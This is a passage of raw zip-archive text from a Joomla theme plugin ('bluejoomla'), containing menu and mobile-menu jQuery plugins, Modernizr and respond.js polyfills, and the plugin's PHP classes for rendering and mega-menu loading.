e=!1,g=!0;if(f.readyState=="complete")c.call(a,i);else{if(f.createEventObject&&p.doScroll){try{g=!a.frameElement}catch(h){}g&&d()}k(f,"readystatechange",b);k(a,"load",b)}})(j,function(){for(var a in z){var c,d,b=j;if(j[a]){for(c=z[a].replace("*",a).split(".");(d=c.shift())&&(b=b[d]););if(typeof b=="function"){t=b;U();break}}}})}}})(this);PK!xz��		bluejoomla/js/dropline.jsnu&1i�/**
* @package Helix Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2013 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/


(function ($) {
	$.fn.droplinemenu = function (options) {

		var defaults = {
			startLevel: 0,
			direction: 'ltr',
			center: 0,
			marginLeft: 0,
			marginTop: 0,
			width: 200,
			sublevelContainer:'',
			initOffset: {
				x: 0,
				y: 0
			},
			subOffset: {
				x: 0,
				y: 0
			}
		};

		var options = $.extend(defaults, options);

		return this.each(function () {

                    //First Level
                    var $subitems = options.sublevelContainer;
                    var $index = $(this).find('>ul>li.active').index();
                    $(this).find('>ul>li').each(function (index) {
                    	
						// on active
						if( $(this).hasClass('active') ){
							$subitems.find('>ul').eq($index).addClass('active');
						} else {
							$subitems.find('>ul').removeClass('active');
						}


						var times = 0;

						$(this).on('mouseenter', function(){
							var $thisindex = $(this).index();

							clearTimeout(times);

					
							$subitems.find('>ul').not('empty').parent().parent().removeClass('empty');
							$subitems.find('>ul').not('empty').removeClass('active');
							$subitems.find('>ul').eq($thisindex).addClass('active');

							if( $subitems.find('>ul').eq($thisindex).hasClass('empty') ){
								$subitems.find('>ul').eq($thisindex).parent().parent().addClass('empty');
							}

						});

						$(this).parent().on('mouseleave', function(){

							clearTimeout(times);

							times = setTimeout(function(){
					//			$subitems.find('>ul').parent().parent().addClass('empty');
							}, 1000);
						});

						$subitems.find('>ul').parent().parent().on('mouseenter', function(){
							clearTimeout(times);
						});

						$subitems.find('>ul').parent().parent().on('mouseleave', function(){
							$(this).addClass('empty');
						});
					});
                });
}
})(jQuery);






PK!�@
�
�
bluejoomla/js/mobilemenu.jsnu&1i�
/**
* jQuery Mobile Menu
* Turn unordered list menu into dropdown select menu
* version 1.0(31-OCT-2011)
*
* Built on top of the jQuery library
*   http://jquery.com
*
* Documentation
* 	 http://github.com/mambows/mobilemenu
*/
;
(function ($) {
    $.fn.mobileMenu = function (options) {

        var defaults = {
            defaultText: 'Navigate to...',
            className: 'select-menu',
            subMenuClass: 'menu-item',
            subMenuDash: '-',
            appendTo: '#sp-mmenu'
        },
        settings = $.extend(defaults, options),
        el = $(this);
        mobileMenu = $(settings.appendTo);

        this.each(function () {
                    // ad class to submenu list
                    el.find('ul').addClass(settings.subMenuClass);

                    // Create base menu
                    $('<select />', {
                        'class': settings.className
                    }).appendTo(mobileMenu);

                    // Create default option
                    $('<option />', {
                        "value": '#',
                        "text": settings.defaultText
                    }).appendTo('.' + settings.className);

                    // Create select option from menu
                    el.find('a').each(function () {
                        var $this = $(this),
                        optText = '&nbsp;' + $this.find('span.menu-title').text(),
                        optSub = $this.parents('.' + settings.subMenuClass),
                        len = optSub.length,
                        dash;

                            // if menu has sub menu
                            if ($this.parents('ul').hasClass(settings.subMenuClass)) {
                                dash = Array(len + 1).join(settings.subMenuDash);
                                optText = dash + optText;
                            }

                            // Now build menu and append it
                            $('<option />', {
                                "value": this.href,
                                "html": optText,
                                "selected": (this.href == window.location.href)
                            }).appendTo('.' + settings.className);

                    }); // End el.find('a').each

                    // Change event on select element
                    $('.' + settings.className).change(function () {
                        var locations = $(this).val();
                        if (locations !== '#') {
                            window.location.href = $(this).val();
                        };
                    });

            }); // End this.each
return this;
};
})(jQuery);PK!(�?6<6<$bluejoomla/js/modernizr-2.6.2.min.jsnu&1i�/* Modernizr 2.6.2 (Custom Build) | MIT & BSD
 * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-applicationcache-canvas-canvastext-draganddrop-hashchange-history-audio-video-indexeddb-input-inputtypes-localstorage-postmessage-sessionstorage-websockets-websqldatabase-webworkers-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-shiv-mq-cssclasses-addtest-prefixed-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load
 */
;window.Modernizr=function(a,b,c){function D(a){j.cssText=a}function E(a,b){return D(n.join(a+";")+(b||""))}function F(a,b){return typeof a===b}function G(a,b){return!!~(""+a).indexOf(b)}function H(a,b){for(var d in a){var e=a[d];if(!G(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function I(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:F(f,"function")?f.bind(d||b):f}return!1}function J(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return F(b,"string")||F(b,"undefined")?H(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),I(e,b,c))}function K(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)u[c[d]]=c[d]in k;return u.list&&(u.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),u}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:absolute;visibility:hidden;",/^range$/.test(f)&&k.style.WebkitAppearance!==c?(g.appendChild(k),h=b.defaultView,e=h.getComputedStyle&&h.getComputedStyle(k,null).WebkitAppearance!=="textfield"&&k.offsetHeight!==0,g.removeChild(k)):/^(search|tel)$/.test(f)||(/^(url|email)$/.test(f)?e=k.checkValidity&&k.checkValidity()===!1:e=k.value!=l)),t[a[d]]=!!e;return t}("search tel url email datetime date month week time datetime-local number range color".split(" "))}var d="2.6.2",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k=b.createElement("input"),l=":)",m={}.toString,n=" -webkit- -moz- -o- -ms- ".split(" "),o="Webkit Moz O ms",p=o.split(" "),q=o.toLowerCase().split(" "),r={svg:"http://www.w3.org/2000/svg"},s={},t={},u={},v=[],w=v.slice,x,y=function(a,c,d,e){var f,i,j,k,l=b.createElement("div"),m=b.body,n=m||b.createElement("body");if(parseInt(d,10))while(d--)j=b.createElement("div"),j.id=e?e[d]:h+(d+1),l.appendChild(j);return f=["&#173;",'<style id="s',h,'">',a,"</style>"].join(""),l.id=h,(m?l:n).innerHTML+=f,n.appendChild(l),m||(n.style.background="",n.style.overflow="hidden",k=g.style.overflow,g.style.overflow="hidden",g.appendChild(n)),i=c(l,a),m?l.parentNode.removeChild(l):(n.parentNode.removeChild(n),g.style.overflow=k),!!i},z=function(b){var c=a.matchMedia||a.msMatchMedia;if(c)return c(b).matches;var d;return y("@media "+b+" { #"+h+" { position: absolute; } }",function(b){d=(a.getComputedStyle?getComputedStyle(b,null):b.currentStyle)["position"]=="absolute"}),d},A=function(){function d(d,e){e=e||b.createElement(a[d]||"div"),d="on"+d;var f=d in e;return f||(e.setAttribute||(e=b.createElement("div")),e.setAttribute&&e.removeAttribute&&(e.setAttribute(d,""),f=F(e[d],"function"),F(e[d],"undefined")||(e[d]=c),e.removeAttribute(d))),e=null,f}var a={select:"input",change:"input",submit:"form",reset:"form",error:"img",load:"img",abort:"img"};return d}(),B={}.hasOwnProperty,C;!F(B,"undefined")&&!F(B.call,"undefined")?C=function(a,b){return B.call(a,b)}:C=function(a,b){return b in a&&F(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=w.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(w.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(w.call(arguments)))};return e}),s.flexbox=function(){return J("flexWrap")},s.canvas=function(){var a=b.createElement("canvas");return!!a.getContext&&!!a.getContext("2d")},s.canvastext=function(){return!!e.canvas&&!!F(b.createElement("canvas").getContext("2d").fillText,"function")},s.webgl=function(){return!!a.WebGLRenderingContext},s.touch=function(){var c;return"ontouchstart"in a||a.DocumentTouch&&b instanceof DocumentTouch?c=!0:y(["@media (",n.join("touch-enabled),("),h,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(a){c=a.offsetTop===9}),c},s.geolocation=function(){return"geolocation"in navigator},s.postmessage=function(){return!!a.postMessage},s.websqldatabase=function(){return!!a.openDatabase},s.indexedDB=function(){return!!J("indexedDB",a)},s.hashchange=function(){return A("hashchange",a)&&(b.documentMode===c||b.documentMode>7)},s.history=function(){return!!a.history&&!!history.pushState},s.draganddrop=function(){var a=b.createElement("div");return"draggable"in a||"ondragstart"in a&&"ondrop"in a},s.websockets=function(){return"WebSocket"in a||"MozWebSocket"in a},s.rgba=function(){return D("background-color:rgba(150,255,150,.5)"),G(j.backgroundColor,"rgba")},s.hsla=function(){return D("background-color:hsla(120,40%,100%,.5)"),G(j.backgroundColor,"rgba")||G(j.backgroundColor,"hsla")},s.multiplebgs=function(){return D("background:url(https://),url(https://),red url(https://)"),/(url\s*\(.*?){3}/.test(j.background)},s.backgroundsize=function(){return J("backgroundSize")},s.borderimage=function(){return J("borderImage")},s.borderradius=function(){return J("borderRadius")},s.boxshadow=function(){return J("boxShadow")},s.textshadow=function(){return b.createElement("div").style.textShadow===""},s.opacity=function(){return E("opacity:.55"),/^0.55$/.test(j.opacity)},s.cssanimations=function(){return J("animationName")},s.csscolumns=function(){return J("columnCount")},s.cssgradients=function(){var a="background-image:",b="gradient(linear,left top,right bottom,from(#9f9),to(white));",c="linear-gradient(left top,#9f9, white);";return D((a+"-webkit- ".split(" ").join(b+a)+n.join(c+a)).slice(0,-a.length)),G(j.backgroundImage,"gradient")},s.cssreflections=function(){return J("boxReflect")},s.csstransforms=function(){return!!J("transform")},s.csstransforms3d=function(){var a=!!J("perspective");return a&&"webkitPerspective"in g.style&&y("@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}",function(b,c){a=b.offsetLeft===9&&b.offsetHeight===3}),a},s.csstransitions=function(){return J("transition")},s.fontface=function(){var a;return y('@font-face {font-family:"font";src:url("https://")}',function(c,d){var e=b.getElementById("smodernizr"),f=e.sheet||e.styleSheet,g=f?f.cssRules&&f.cssRules[0]?f.cssRules[0].cssText:f.cssText||"":"";a=/src/i.test(g)&&g.indexOf(d.split(" ")[0])===0}),a},s.generatedcontent=function(){var a;return y(["#",h,"{font:0/0 a}#",h,':after{content:"',l,'";visibility:hidden;font:3px/1 a}'].join(""),function(b){a=b.offsetHeight>=3}),a},s.video=function(){var a=b.createElement("video"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),c.h264=a.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),c.webm=a.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,"")}catch(d){}return c},s.audio=function(){var a=b.createElement("audio"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),c.mp3=a.canPlayType("audio/mpeg;").replace(/^no$/,""),c.wav=a.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),c.m4a=(a.canPlayType("audio/x-m4a;")||a.canPlayType("audio/aac;")).replace(/^no$/,"")}catch(d){}return c},s.localstorage=function(){try{return localStorage.setItem(h,h),localStorage.removeItem(h),!0}catch(a){return!1}},s.sessionstorage=function(){try{return sessionStorage.setItem(h,h),sessionStorage.removeItem(h),!0}catch(a){return!1}},s.webworkers=function(){return!!a.Worker},s.applicationcache=function(){return!!a.applicationCache},s.svg=function(){return!!b.createElementNS&&!!b.createElementNS(r.svg,"svg").createSVGRect},s.inlinesvg=function(){var a=b.createElement("div");return a.innerHTML="<svg/>",(a.firstChild&&a.firstChild.namespaceURI)==r.svg},s.smil=function(){return!!b.createElementNS&&/SVGAnimate/.test(m.call(b.createElementNS(r.svg,"animate")))},s.svgclippaths=function(){return!!b.createElementNS&&/SVGClipPath/.test(m.call(b.createElementNS(r.svg,"clipPath")))};for(var L in s)C(s,L)&&(x=L.toLowerCase(),e[x]=s[L](),v.push((e[x]?"":"no-")+x));return e.input||K(),e.addTest=function(a,b){if(typeof a=="object")for(var d in a)C(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof f!="undefined"&&f&&(g.className+=" "+(b?"":"no-")+a),e[a]=b}return e},D(""),i=k=null,function(a,b){function k(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function l(){var a=r.elements;return typeof a=="string"?a.split(" "):a}function m(a){var b=i[a[g]];return b||(b={},h++,a[g]=h,i[h]=b),b}function n(a,c,f){c||(c=b);if(j)return c.createElement(a);f||(f=m(c));var g;return f.cache[a]?g=f.cache[a].cloneNode():e.test(a)?g=(f.cache[a]=f.createElem(a)).cloneNode():g=f.createElem(a),g.canHaveChildren&&!d.test(a)?f.frag.appendChild(g):g}function o(a,c){a||(a=b);if(j)return a.createDocumentFragment();c=c||m(a);var d=c.frag.cloneNode(),e=0,f=l(),g=f.length;for(;e<g;e++)d.createElement(f[e]);return d}function p(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return r.shivMethods?n(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+l().join().replace(/\w+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(r,b.frag)}function q(a){a||(a=b);var c=m(a);return r.shivCSS&&!f&&!c.hasCSS&&(c.hasCSS=!!k(a,"article,aside,figcaption,figure,footer,header,hgroup,nav,section{display:block}mark{background:#FF0;color:#000}")),j||p(a,c),a}var c=a.html5||{},d=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,e=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,f,g="_html5shiv",h=0,i={},j;(function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",f="hidden"in a,j=a.childNodes.length==1||function(){b.createElement("a");var a=b.createDocumentFragment();return typeof a.cloneNode=="undefined"||typeof a.createDocumentFragment=="undefined"||typeof a.createElement=="undefined"}()}catch(c){f=!0,j=!0}})();var r={elements:c.elements||"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup mark meter nav output progress section summary time video",shivCSS:c.shivCSS!==!1,supportsUnknownElements:j,shivMethods:c.shivMethods!==!1,type:"default",shivDocument:q,createElement:n,createDocumentFragment:o};a.html5=r,q(b)}(this,b),e._version=d,e._prefixes=n,e._domPrefixes=q,e._cssomPrefixes=p,e.mq=z,e.hasEvent=A,e.testProp=function(a){return H([a])},e.testAllProps=J,e.testStyles=y,e.prefixed=function(a,b,c){return b?J(a,b,c):J(a,"pfx")},g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+v.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,h){var i=b(a),j=i.autoCallback;i.url.split(".").pop().split("?").shift(),i.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]),i.instead?i.instead(a,e,f,g,h):(y[i.url]?i.noexec=!0:y[i.url]=1,f.load(i.url,i.forceCSS||!i.forceJS&&"css"==i.url.split(".").pop().split("?").shift()?"c":c,i.noexec,i.attrs,i.timeout),(d(e)||d(j))&&f.load(function(){k(),e&&e(i.origUrl,h,g),j&&j(i.origUrl,h,g),y[i.url]=2})))}function h(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var i,j,l=this.yepnope.loader;if(e(a))g(a,0,l,0);else if(w(a))for(i=0;i<a.length;i++)j=a[i],e(j)?g(j,0,l,0):w(j)?B(j):Object(j)===j&&h(j,l);else Object(a)===a&&h(a,l)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,null==b.readyState&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))};
PK!�#o,,bluejoomla/js/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!z(|���bluejoomla/js/respond.min.jsnu&1i�/*! matchMedia() polyfill - Test a CSS media type/query in JS. Authors & copyright (c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas. Dual MIT/BSD license */
/*! NOTE: If you're already including a window.matchMedia polyfill via Modernizr or otherwise, you don't need this part */
window.matchMedia=window.matchMedia||function(a){"use strict";var c,d=a.documentElement,e=d.firstElementChild||d.firstChild,f=a.createElement("body"),g=a.createElement("div");return g.id="mq-test-1",g.style.cssText="position:absolute;top:-100em",f.style.background="none",f.appendChild(g),function(a){return g.innerHTML='&shy;<style media="'+a+'"> #mq-test-1 { width: 42px; }</style>',d.insertBefore(f,e),c=42===g.offsetWidth,d.removeChild(f),{matches:c,media:a}}}(document);

/*! Respond.js v1.1.0: min/max-width media query polyfill. (c) Scott Jehl. MIT/GPLv2 Lic. j.mp/respondjs  */
(function(a){"use strict";function x(){u(!0)}var b={};if(a.respond=b,b.update=function(){},b.mediaQueriesSupported=a.matchMedia&&a.matchMedia("only all").matches,!b.mediaQueriesSupported){var q,r,t,c=a.document,d=c.documentElement,e=[],f=[],g=[],h={},i=30,j=c.getElementsByTagName("head")[0]||d,k=c.getElementsByTagName("base")[0],l=j.getElementsByTagName("link"),m=[],n=function(){for(var b=0;l.length>b;b++){var c=l[b],d=c.href,e=c.media,f=c.rel&&"stylesheet"===c.rel.toLowerCase();d&&f&&!h[d]&&(c.styleSheet&&c.styleSheet.rawCssText?(p(c.styleSheet.rawCssText,d,e),h[d]=!0):(!/^([a-zA-Z:]*\/\/)/.test(d)&&!k||d.replace(RegExp.$1,"").split("/")[0]===a.location.host)&&m.push({href:d,media:e}))}o()},o=function(){if(m.length){var a=m.shift();v(a.href,function(b){p(b,a.href,a.media),h[a.href]=!0,setTimeout(function(){o()},0)})}},p=function(a,b,c){var d=a.match(/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi),g=d&&d.length||0;b=b.substring(0,b.lastIndexOf("/"));var h=function(a){return a.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g,"$1"+b+"$2$3")},i=!g&&c;b.length&&(b+="/"),i&&(g=1);for(var j=0;g>j;j++){var k,l,m,n;i?(k=c,f.push(h(a))):(k=d[j].match(/@media *([^\{]+)\{([\S\s]+?)$/)&&RegExp.$1,f.push(RegExp.$2&&h(RegExp.$2))),m=k.split(","),n=m.length;for(var o=0;n>o;o++)l=m[o],e.push({media:l.split("(")[0].match(/(only\s+)?([a-zA-Z]+)\s?/)&&RegExp.$2||"all",rules:f.length-1,hasquery:l.indexOf("(")>-1,minw:l.match(/\(min\-width:[\s]*([\s]*[0-9\.]+)(px|em)[\s]*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||""),maxw:l.match(/\(max\-width:[\s]*([\s]*[0-9\.]+)(px|em)[\s]*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||"")})}u()},s=function(){var a,b=c.createElement("div"),e=c.body,f=!1;return b.style.cssText="position:absolute;font-size:1em;width:1em",e||(e=f=c.createElement("body"),e.style.background="none"),e.appendChild(b),d.insertBefore(e,d.firstChild),a=b.offsetWidth,f?d.removeChild(e):e.removeChild(b),a=t=parseFloat(a)},u=function(a){var b="clientWidth",h=d[b],k="CSS1Compat"===c.compatMode&&h||c.body[b]||h,m={},n=l[l.length-1],o=(new Date).getTime();if(a&&q&&i>o-q)return clearTimeout(r),r=setTimeout(u,i),void 0;q=o;for(var p in e)if(e.hasOwnProperty(p)){var v=e[p],w=v.minw,x=v.maxw,y=null===w,z=null===x,A="em";w&&(w=parseFloat(w)*(w.indexOf(A)>-1?t||s():1)),x&&(x=parseFloat(x)*(x.indexOf(A)>-1?t||s():1)),v.hasquery&&(y&&z||!(y||k>=w)||!(z||x>=k))||(m[v.media]||(m[v.media]=[]),m[v.media].push(f[v.rules]))}for(var B in g)g.hasOwnProperty(B)&&g[B]&&g[B].parentNode===j&&j.removeChild(g[B]);for(var C in m)if(m.hasOwnProperty(C)){var D=c.createElement("style"),E=m[C].join("\n");D.type="text/css",D.media=C,j.insertBefore(D,n.nextSibling),D.styleSheet?D.styleSheet.cssText=E:D.appendChild(c.createTextNode(E)),g.push(D)}},v=function(a,b){var c=w();c&&(c.open("GET",a,!0),c.onreadystatechange=function(){4!==c.readyState||200!==c.status&&304!==c.status||b(c.responseText)},4!==c.readyState&&c.send(null))},w=function(){var b=!1;try{b=new a.XMLHttpRequest}catch(c){b=new a.ActiveXObject("Microsoft.XMLHTTP")}return function(){return b}}();n(),b.update=n,a.addEventListener?a.addEventListener("resize",x,!1):a.attachEvent&&a.attachEvent("onresize",x)}})(this);
PK!Kސ�

"bluejoomla/js/jquery-noconflict.jsnu&1i�/**
 * @package Helix Framework
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2013 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
jQuery.noConflict();
var spnoConflict = jQuery.noConflict();PK!`�#��bluejoomla/bluejoomla.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 cmsbluetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/

    //no direct accees
    defined ('_JEXEC') or die ('resticted aceess');

    jimport( 'joomla.event.plugin' );

    class  plgSystemBluejoomla extends JPlugin
    {   
        function onAfterInitialise()
        {
            $shinetheme_path = JPATH_PLUGINS.'/system/bluejoomla/core/bluejoomla.php';
            if (file_exists($shinetheme_path)) {
                require_once($shinetheme_path);
                Bluejoomla::getInstance();
            } else {
                echo JText::_('Bluejoomla framework not found.');
                jexit();
            }
        }

        function onAfterRoute()
        {

            $app = JFactory::getApplication();
            if('com_search' == JRequest::getCMD('option') and !$app->isAdmin()) {
               require_once(dirname(__FILE__) .'/html/com_search/view.html.php');
            }
        }


        function onAfterRender()
        {
            if(  !JFactory::getApplication()->isAdmin() ){

                $document = JFactory::getDocument();
                $type = $document->getType();

                if($type=='html') {
                   // Bluejoomla::compressCSS();
                    //Bluejoomla::compressJS();
                    $oldhead = $document->getHeadData();  // old head
            
                    $data =  JResponse::getBody();
                    Bluejoomla::getInstance()->importShortCodeFiles();
                    $data = btshortcode_unautop($data);
                    $data = btdo_shortcode($data); 
                    $newhead = $document->getHeadData();  // new head
                    $scripts = (array) array_diff_key($newhead['scripts'], $oldhead['scripts']);
                    $styles  = (array) array_diff_key($newhead['styleSheets'], $oldhead['styleSheets']);
                    $new_head_data = '';
                    foreach ($scripts as $key => $type)
                        $new_head_data .= '<script type="' . $type['mime'] . '" src="' . $key . '"></script>';

                    foreach ($styles as $key => $type)
                        $new_head_data .=  '<link rel="stylesheet" href="' . $key . '" />';

                    $data = str_replace('</head>', $new_head_data . "\n</head>", $data);
                    JResponse::setBody($data);
                }
            }
        }
        function onContentPrepareForm($form, $data)
        {
            if ($form->getName()=='com_menus.item') //Add bluejoomla menu params to the menu item
            {
                JHtml::_('behavior.framework');
                $doc = JFactory::getDocument();

                JForm::addFormPath(JPATH_PLUGINS.'/system/bluejoomla/fields');
            //    $form->loadFile('params', false);


                // 2.5
                if (JVERSION < 3) {
                    $plg_path = JURI::root(true).'/plugins/system/bluejoomla/js/admin/menuscript.25.js';
                } else {
                    $plg_path = JURI::root(true).'/plugins/system/bluejoomla/js/admin/menuscript.30.js';//	for joomla 3.0		
                }
                $doc->addScript($plg_path);
            }
}

}PK!�^�kbQbQbluejoomla/core/menu.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class ShinethemeMenu {
	var $_params 	= null;
	var $_menu	 	= null;
	var $children	= null;
	var $open 		= null;
	var $items 		= null;
	var $Itemid 	= 0;
	
	private $shinetheme;
	
	function __construct($shinetheme, $params, $_menu='mega'){
		global $Itemid;
		$this->shinetheme = $shinetheme;
		$this->_params = $params;
		$this->_menu = $_menu;//menu type, eg. mega
		$this->Itemid  = $Itemid;
		$this->loadMenu();
	}
	
	function  loadMenu(){
		
		$user = JFactory::getUser();
		$children = array ();
		
		// Get Menu Items
		$app = JFactory::getApplication();
		$items = $app->getMenu();
		
		$active = ($items->getActive()) ? $items->getActive() : $items->getDefault();
		$this->open		= isset($active) ? array_reverse($active->tree) : array();
			
		$rows = $items->getItems('menutype','mega');
		
		if(!count($rows)) 
			$rows = $items->getItems('menutype', 'mainmenu');
		if(!count($rows)) return;
		
		// first pass - collect children
		$cacheIndex = array();
		$this->items = array();
		foreach ($rows as $index => $v) {
		   	//1.6 compatible
   	    	if (isset ($v->title)) $v->name = $v->title; 
   	    	if (isset ($v->parent_id)) $v->parent = $v->parent_id;
			
			$v->name = stripslashes(htmlspecialchars($v->name));// replace & with amp; for xhtml compliance
			
			if (in_array($v->access, $user->getAuthorisedViewLevels())) {
				$pt = $v->parent;
				$list = @ $children[$pt] ? $children[$pt] : array ();

				//Only for megamenu
				if ($this->_menu=='mega') {
					$vparams = new JObject();
					
					//get mega params
					$v->megaparams = $megaparams = new JObject(json_decode($v->params));				
					
					if ($v->level==1) $v->megaparams->set ('group',0); //forcefully remove group param from level-0 items

					if (!$v->megaparams->get ('showgrouptitle', 1) && $v->megaparams->get ('group')) $v->name = '';//Show or Hide group title
					
					//Set individual column width
					if ($megaparams) {
						if (isset($megaparams->colxw)) {
							$colxw=explode ("\n",$megaparams->colxw);
							for ($i=0;$i<count($colxw);$i++) {
